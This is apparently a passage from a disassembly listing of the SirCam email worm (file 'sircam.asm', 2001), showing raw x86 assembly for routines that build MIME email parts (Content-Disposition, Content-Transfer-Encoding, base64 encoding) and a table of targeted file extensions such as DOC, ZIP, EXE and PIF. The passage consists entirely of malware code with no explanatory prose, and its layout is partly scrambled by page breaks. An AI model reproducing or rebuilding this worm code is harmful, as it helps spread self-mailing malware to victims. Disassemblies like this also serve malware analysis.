ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_411481: ; DATA XREF: sub_41140C+1A\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_411473 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_411488: ; DATA XREF: sub_41140C+62\030o pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 1 dword_411498 dd 3Ch, 0FFFFFFFFh, 1 ; DATA XREF: sub_41140C+28\030o dword_4114A4 dd 3Eh ; DATA XREF: sub_41140C+38\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4114A8 proc near var_14 var_10 var_C = dword ptr -14h = dword ptr -10h = dword ptr -0Ch ; CODE XREF: sub_4122C8+2B\031p sircam.asm var_8 var_4 Fri Aug 10 12:42:44 2001 478 = dword ptr -8 = dword ptr -4 push ebp mov ebp, esp xor ecx, ecx push ecx push ecx push ecx push ecx push ecx push ebx mov ebx, edx mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_4038D8 xor eax, eax push ebp push offset loc_4115A2 push dword ptr fs:[eax] mov fs:[eax], esp lea edx, [ebp+var_C] mov eax, [ebp+var_4] call sub_406E9C mov edx, [ebp+var_C] lea eax, [ebp+var_4] call sub_403560 lea ecx, [ebp+var_8] mov edx, offset dword_4115B8 mov eax, [ebp+var_4] call sub_41137C mov eax, [ebp+var_8] mov edx, [ebp+var_4] call sub_403834 jz short loc_41151E lea ecx, [ebp+var_10] mov edx, offset dword_4115B8 mov eax, [ebp+var_8] call sub_4112E4 mov edx, [ebp+var_10] lea eax, [ebp+var_8] call sub_403560 jmp short loc_41157D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41151E: ; CODE XREF: sub_4114A8+57\030j lea ecx, [ebp+var_8] mov edx, offset dword_4115C4 mov eax, [ebp+var_4] call sub_41137C mov eax, [ebp+var_8] mov edx, [ebp+var_4] call sub_403834 jz short loc_411558 lea ecx, [ebp+var_14] mov edx, offset dword_4115D0 mov eax, [ebp+var_8] call sub_4112E4 mov edx, [ebp+var_14] lea eax, [ebp+var_8] call sub_403560 jmp short loc_41157D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_411558: lea mov mov call mov ; CODE XREF: sub_4114A8+91\030j ecx, [ebp+var_8] edx, offset dword_4115DC eax, [ebp+var_4] sub_4112E4 eax, [ebp+var_8] sircam.asm Fri Aug 10 12:42:44 2001 mov call jnz lea call edx, [ebp+var_4] sub_403834 short loc_41157D eax, [ebp+var_8] sub_4034C8 loc_41157D: ; CODE XREF: sub_4114A8+74\030j ; sub_4114A8+AE\030j ... mov mov call xor pop pop pop mov push loc_411594: sub_4114A8 479 edx, ebx eax, [ebp+var_8] sub_406E9C eax, eax edx ecx ecx fs:[eax], edx offset loc_4115A9 ; CODE XREF: CODE:004115A7\031j lea eax, [ebp+var_14] mov edx, 5 call sub_4034EC retn endp ; sp = -20h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4115A2: ; DATA XREF: sub_4114A8+1B\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_411594 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4115A9: ; DATA XREF: sub_4114A8+E7\030o pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 1 dword_4115B8 dd 22h, 0FFFFFFFFh, 1 ; DATA XREF: sub_4114A8+3F\030o ; sub_4114A8+5C\030o dword_4115C4 dd 28h, 0FFFFFFFFh, 1 ; DATA XREF: sub_4114A8+79\030o dword_4115D0 dd 29h, 0FFFFFFFFh, 1 ; DATA XREF: sub_4114A8+96\030o dword_4115DC dd 3Ch ; DATA XREF: sub_4114A8+B3\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4115E0 proc near ; DATA XREF: CODE:0041A970\031o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_411631 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_41E664 jnz short loc_411623 mov eax, offset off_41D73C mov ecx, 0Ch mov edx, ds:off_401000 call sub_403BE8 mov eax, offset off_41D720 mov ecx, 7 mov edx, ds:off_401000 call sub_403BE8 sircam.asm Fri Aug 10 12:42:44 2001 loc_411623: xor pop pop pop mov push 480 ; CODE XREF: sub_4115E0+17\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_411638 locret_411630: ; CODE XREF: sub_4115E0+56\031j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_411631: ; DATA XREF: sub_4115E0+6\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short locret_411630 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_411638: sub_4115E0 ; CODE XREF: sub_4115E0+50\030j ; DATA XREF: sub_4115E0+4B\030o pop ebp retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_41163C: ; DATA XREF: CODE:0041A96C\031o sub ds:dword_41E664, 1 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ off_411644 dd offset dword_411690 ; DATA XREF: sub_412604+5\031r ; sub_412844+AD\031r dd 2 dup(0) dd offset dword_411690 dd 4 dup(0) dd offset dword_4116D2 dd 2Ch dd offset off_40100C dd offset loc_402CA0 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402CB4 dd offset nullsub_4 dd offset loc_402B70 dd offset sub_402B84 dd offset sub_411894 dword_411690 dd 0Eh, 70000h ; DATA XREF: CODE:00411644\030o ; CODE:00411650\030o db 2 dup(0) dd offset off_401000 dd 4 dd offset off_401000 dd 8 dd offset off_401000 dd 0Ch dd offset off_401000 dd 14h dd offset off_401000 dd 18h dd offset off_401000 dd 1Ch dd offset off_401000 dd 20h dword_4116D2 dd 694D5409h, 6150656Dh, 0FFFF7472h, 3FFFFh ; DATA XREF: CODE:00411664 \030o align 4 dword_4116E4 dd 434F44h, 0FFFFFFFFh, 0Bh, 6C707061h, 74616369h, 6E6F69h ; DATA XREF: DATA:0041D76C\031o ; DATA:0041D770\031o ... sircam.asm Fri Aug 10 12:42:44 2001 dd dd dd dd dd dd dd dd dd dd dd 481 0FFFFFFFFh, 6, 6F57534Dh, 6472h, 0FFFFFFFFh, 3, 464947h 0FFFFFFFFh, 5, 67616D69h, 65h, 0FFFFFFFFh, 4, 4745504Ah 0, 0FFFFFFFFh, 3, 47504Ah, 0FFFFFFFFh, 4, 4745504Dh 0, 0FFFFFFFFh, 5, 65646976h, 6Fh, 0FFFFFFFFh, 3, 47504Dh 0FFFFFFFFh, 3, 464450h, 0FFFFFFFFh, 3, 474E50h, 0FFFFFFFFh 2, 5350h, 0FFFFFFFFh, 0Ah, 74736F50h, 69726373h, 7470h 0FFFFFFFFh, 3, 564F4Dh, 0FFFFFFFFh, 9, 63697571h, 6D69746Bh 65h, 0FFFFFFFFh, 3, 50495Ah, 0FFFFFFFFh, 7, 4670695Ah 656C69h, 0FFFFFFFFh, 3, 464950h, 0FFFFFFFFh, 0Ch, 6574636Fh 74732D74h, 6D616572h, 0, 0FFFFFFFFh, 3, 4B4E4Ch, 0FFFFFFFFh 3, 544142h, 0FFFFFFFFh, 3, 455845h, 0FFFFFFFFh, 3, 4D4F43h ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_411838 proc near push push test jz add call ebx esi dl, dl short loc_411846 esp, 0FFFFFFF0h sub_402CDC mov mov xor mov call mov mov call mov mov mov call mov call mov mov test jz call pop add ; CODE XREF: sub_411838+4\030j ebx, edx esi, eax edx, edx eax, esi sub_402BAC dl, 1 eax, ds:off_40BB68 sub_402BAC [esi+24h], eax dl, 1 eax, ds:off_40BE14 sub_402BAC [esi+28h], eax sub_40EEAC [esi+13h], al eax, esi bl, bl short loc_41188E sub_402D34 large dword ptr fs:0 esp, 0Ch loc_411846: loc_41188E: sub_411838 ; CODE XREF: sub_412604+A\031p ; sub_412844+B2\031p ; CODE XREF: sub_411838+45\030j mov pop pop retn endp eax, esi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_411894 proc near push ebx push esi call sub_402D3C mov ebx, edx mov esi, eax mov eax, [esi+28h] call sub_402BDC mov eax, [esi+24h] call sub_402BDC ; DATA XREF: CODE:0041168C\030o sircam.asm Fri Aug 10 12:42:44 2001 mov and mov call test jle mov call edx, ebx dl, 0FCh eax, esi sub_402BCC bl, bl short loc_4118C6 eax, esi sub_402D2C pop pop retn endp esi ebx loc_4118C6: sub_411894 482 ; CODE XREF: sub_411894+29\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4118CC proc near var_34 var_30 var_2C var_28 var_24 var_20 var_1C var_18 var_14 var_10 var_C var_8 var_4 = = = = = = = = = = = = = dword dword dword dword dword dword dword dword dword dword dword dword dword ptr ptr ptr ptr ptr ptr ptr ptr ptr ptr ptr ptr ptr ; CODE XREF: sub_412620+83\031p ; sub_412708+B4\031p ... -34h -30h -2Ch -28h -24h -20h -1Ch -18h -14h -10h -0Ch -8 -4 push mov mov ebp ebp, esp ecx, 6 push push dec jnz push push push push mov xor push push push mov mov mov call mov mov mov call mov xor xor mov call ; CODE XREF: sub_4118CC+D\031j 0 0 ecx short loc_4118D4 ecx ebx esi edi ebx, eax eax, eax ebp offset loc_411CD8 dword ptr fs:[eax] fs:[eax], esp dl, 1 eax, ds:off_40BB68 sub_402BAC [ebp+var_4], eax eax, [ebx+24h] edx, [eax] dword ptr [edx+40h] eax, [ebx+28h] ecx, ecx edx, edx esi, [eax] dword ptr [esi+0Ch] loc_4118D4: sircam.asm Fri Aug 10 12:42:44 2001 483 xor eax, eax push ebp push offset loc_411CA9 push dword ptr fs:[eax] mov fs:[eax], esp mov al, [ebx+10h] sub al, 1 jb short loc_411942 sub al, 2 jb short loc_411932 jz short loc_411942 jmp loc_411A94 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_411932: ; CODE XREF: sub_4118CC+5D\030j mov edx, [ebx+28h] mov eax, [ebx+24h] mov ecx, [eax] call dword ptr [ecx+5Ch] jmp loc_411A94 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_411942: ; CODE XREF: sub_4118CC+59\030j ; sub_4118CC+5F\030j cmp byte ptr [ebx+11h], 3 jnz loc_411A1A jmp loc_4119FE ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_411951: lea mov call lea call mov mov mov mov call mov mov test jle mov ; CODE XREF: sub_4118CC+146\031j eax, [ebp+var_C] edx, 36h sub_4039FC eax, [ebp+var_8] sub_4034C8 edx, [ebp+var_C] eax, [ebx+28h] ecx, 36h esi, [eax] dword ptr [esi+4] edi, eax esi, edi esi, esi short loc_4119A8 [ebp+var_10], 1 lea mov mov mov call mov lea call inc dec jnz ; CODE XREF: sub_4118CC+DA\031j eax, [ebp+var_14] edx, [ebp+var_C] ecx, [ebp+var_10] dl, [edx+ecx-1] sub_403670 edx, [ebp+var_14] eax, [ebp+var_8] sub_40372C [ebp+var_10] esi short loc_411985 cmp jnz lea push mov mov mov call mov lea ; CODE XREF: sub_4118CC+B0\030j byte ptr [ebx+10h], 0 short loc_4119CB eax, [ebp+var_18] eax cl, [ebx+12h] dl, [ebx+13h] eax, [ebp+var_8] sub_40EDA4 edx, [ebp+var_18] eax, [ebp+var_8] loc_411985: loc_4119A8: sircam.asm Fri Aug 10 12:42:44 2001 484 call sub_403560 lea mov call mov lea call cmp jz lea mov call ; CODE XREF: sub_4118CC+E0\030j edx, [ebp+var_1C] eax, [ebp+var_8] sub_40F4CC edx, [ebp+var_1C] eax, [ebp+var_8] sub_403560 edi, 36h short loc_4119F3 eax, [ebp+var_8] edx, offset dword_411CF0 sub_40372C mov mov mov call ; CODE XREF: sub_4118CC+118\030j eax, [ebx+24h] edx, [ebp+var_8] ecx, [eax] dword ptr [ecx+34h] loc_4119CB: loc_4119F3: loc_4119FE: ; CODE XREF: sub_4118CC+80\030j mov eax, [ebx+28h] call sub_40D830 mov esi, eax mov eax, [ebx+28h] call sub_40D84C cmp esi, eax jl loc_411951 jmp short loc_411A94 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_411A1A: mov mov mov call mov mov call mov dec test jl inc mov ; CODE XREF: sub_4118CC+7A\030j edx, [ebx+28h] eax, [ebp+var_4] ecx, [eax] dword ptr [ecx+5Ch] eax, [ebp+var_4] edx, [eax] dword ptr [edx+14h] esi, eax esi esi, esi short loc_411A94 esi [ebp+var_10], 0 lea mov mov mov call cmp jnz lea push mov mov mov call mov lea call ; CODE XREF: sub_4118CC+1C6\031j ecx, [ebp+var_8] edx, [ebp+var_10] eax, [ebp+var_4] edi, [eax] dword ptr [edi+0Ch] byte ptr [ebx+10h], 0 short loc_411A6D eax, [ebp+var_20] eax cl, [ebx+12h] dl, [ebx+13h] eax, [ebp+var_8] sub_40EDA4 edx, [ebp+var_20] eax, [ebp+var_8] sub_403560 lea mov call mov ; CODE XREF: sub_4118CC+182\030j edx, [ebp+var_24] eax, [ebp+var_8] sub_40F3B4 edx, [ebp+var_24] loc_411A3C: loc_411A6D: sircam.asm Fri Aug 10 12:42:44 2001 lea call mov mov mov call inc dec jnz loc_411A94: 485 eax, [ebp+var_8] sub_403560 eax, [ebx+24h] edx, [ebp+var_8] ecx, [eax] dword ptr [ecx+34h] [ebp+var_10] esi short loc_411A3C ; CODE XREF: sub_4118CC+61\030j ; sub_4118CC+71\030j ... mov eax, [ebx+24h] xor edx, edx mov ecx, [eax] call dword ptr [ecx+34h] mov eax, [ebx+24h] xor ecx, ecx xor edx, edx mov esi, [eax] call dword ptr [esi+54h] cmp dword ptr [ebx+14h], 0 jnz short loc_411AFD mov al, [ebx+10h] sub al, 1 jb short loc_411AC3 jz short loc_411AD2 dec al jz short loc_411AE1 dec al jz short loc_411AF0 jmp short loc_411AFD ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_411AC3: ; CODE XREF: sub_4118CC+1E9\030j lea eax, [ebx+14h] mov edx, offset aPlain ; "plain" call sub_40351C jmp short loc_411AFD ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_411AD2: ; CODE XREF: sub_4118CC+1EB\030j lea eax, [ebx+14h] mov edx, offset aMixed ; "mixed" call sub_40351C jmp short loc_411AFD ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_411AE1: ; CODE XREF: sub_4118CC+1EF\030j lea eax, [ebx+14h] mov edx, offset aRfc822 ; "rfc822" call sub_40351C jmp short loc_411AFD ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_411AF0: lea mov call ; CODE XREF: sub_4118CC+1F3\030j eax, [ebx+14h] edx, offset dword_411D2C sub_40351C cmp jz mov lea mov call mov mov ; CODE XREF: sub_4118CC+1E2\030j ; sub_4118CC+1F5\030j ... dword ptr [ebx+18h], 0 short loc_411B20 ecx, [ebx+18h] eax, [ebp+var_28] edx, offset aContentDisposi ; "Content-Disposition: " sub_403770 ecx, [ebp+var_28] eax, [ebx+24h] loc_411AFD: sircam.asm Fri Aug 10 12:42:44 2001 xor mov call 486 edx, edx esi, [eax] dword ptr [esi+54h] loc_411B20: ; CODE XREF: sub_4118CC+235\030j mov al, [ebx+11h] sub al, 1 jb short loc_411B33 jz short loc_411B42 dec al jz short loc_411B51 dec al jz short loc_411B60 jmp short loc_411B6D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_411B33: ; CODE XREF: sub_4118CC+259\030j lea eax, [ebp+var_8] mov edx, offset a7bit ; "7bit" call sub_403560 jmp short loc_411B6D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_411B42: ; CODE XREF: sub_4118CC+25B\030j lea eax, [ebp+var_8] mov edx, offset a8bit ; "8bit" call sub_403560 jmp short loc_411B6D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_411B51: ; CODE XREF: sub_4118CC+25F\030j lea eax, [ebp+var_8] mov edx, offset aQuotedPrintabl ; "quoted-printable" call sub_403560 jmp short loc_411B6D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_411B60: lea mov call ; CODE XREF: sub_4118CC+263\030j eax, [ebp+var_8] edx, offset aBase64 ; "base64" sub_403560 loc_411B6D: ; CODE XREF: sub_4118CC+265\030j ; sub_4118CC+274\030j ... mov sub jb sub jnz al, [ebx+10h] al, 1 short loc_411B78 al, 2 short loc_411B95 lea mov mov call mov mov xor mov call ; CODE XREF: sub_4118CC+2A6\030j eax, [ebp+var_2C] ecx, [ebp+var_8] edx, offset aContentTransfe ; "Content-Transfer-Encoding: " sub_403770 ecx, [ebp+var_2C] eax, [ebx+24h] edx, edx esi, [eax] dword ptr [esi+54h] mov sub jb jz dec jz dec jz al, [ebx+10h] al, 1 short loc_411BAB short loc_411BDB al short loc_411C02 al short loc_411C1E loc_411B78: loc_411B95: ; CODE XREF: sub_4118CC+2AA\030j sircam.asm Fri Aug 10 12:42:44 2001 487 jmp loc_411C76 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_411BAB: ; CODE XREF: sub_4118CC+2CE\030j push dword ptr [ebx+4] push offset dword_411DD4 push dword ptr [ebx+14h] push offset dword_411DE0 lea edx, [ebp+var_30] mov al, [ebx+12h] call sub_40EF00 push [ebp+var_30] lea eax, [ebp+var_8] mov edx, 5 call sub_4037E4 jmp loc_411C76 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_411BDB: ; CODE XREF: sub_4118CC+2D0\030j push dword ptr [ebx+4] push offset dword_411DD4 push dword ptr [ebx+14h] push offset dword_411DF4 push dword ptr [ebx+1Ch] push offset dword_411E0C lea eax, [ebp+var_8] mov edx, 6 call sub_4037E4 jmp short loc_411C76 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_411C02: ; CODE XREF: sub_4118CC+2D4\030j push dword ptr [ebx+4] push offset dword_411DD4 push dword ptr [ebx+14h] push 0 lea eax, [ebp+var_8] mov edx, 4 call sub_4037E4 jmp short loc_411C76 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_411C1E: ; CODE XREF: sub_4118CC+2D8\030j mov edx, [ebx+20h] mov eax, offset dword_411E18 call sub_4039B4 test eax, eax jnz short loc_411C51 push dword ptr [ebx+4] push offset dword_411DD4 push dword ptr [ebx+14h] push offset dword_411E24 push dword ptr [ebx+20h] lea eax, [ebp+var_8] mov edx, 5 call sub_4037E4 jmp short loc_411C76 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_411C51: push push push push push push lea mov call ; CODE XREF: sub_4118CC+361\030j dword ptr [ebx+4] offset dword_411DD4 dword ptr [ebx+14h] offset dword_411E34 dword ptr [ebx+20h] offset dword_411E0C eax, [ebp+var_8] edx, 6 sub_4037E4 sircam.asm Fri Aug 10 12:42:44 2001 loc_411C76: lea mov mov call mov mov xor mov call xor pop pop pop mov push ; CODE XREF: sub_4118CC+2DA\030j ; sub_4118CC+30A\030j ... eax, [ebp+var_34] ecx, [ebp+var_8] edx, offset dword_411E48 sub_403770 ecx, [ebp+var_34] eax, [ebx+24h] edx, edx ebx, [eax] dword ptr [ebx+54h] eax, eax edx ecx ecx fs:[eax], edx offset loc_411CB0 loc_411CA0: sub_4118CC 488 ; CODE XREF: CODE:00411CAE\031j mov eax, [ebp+var_4] call sub_402BDC retn endp ; sp = -48h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_411CA9: ; DATA XREF: sub_4118CC+49\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_411CA0 ; 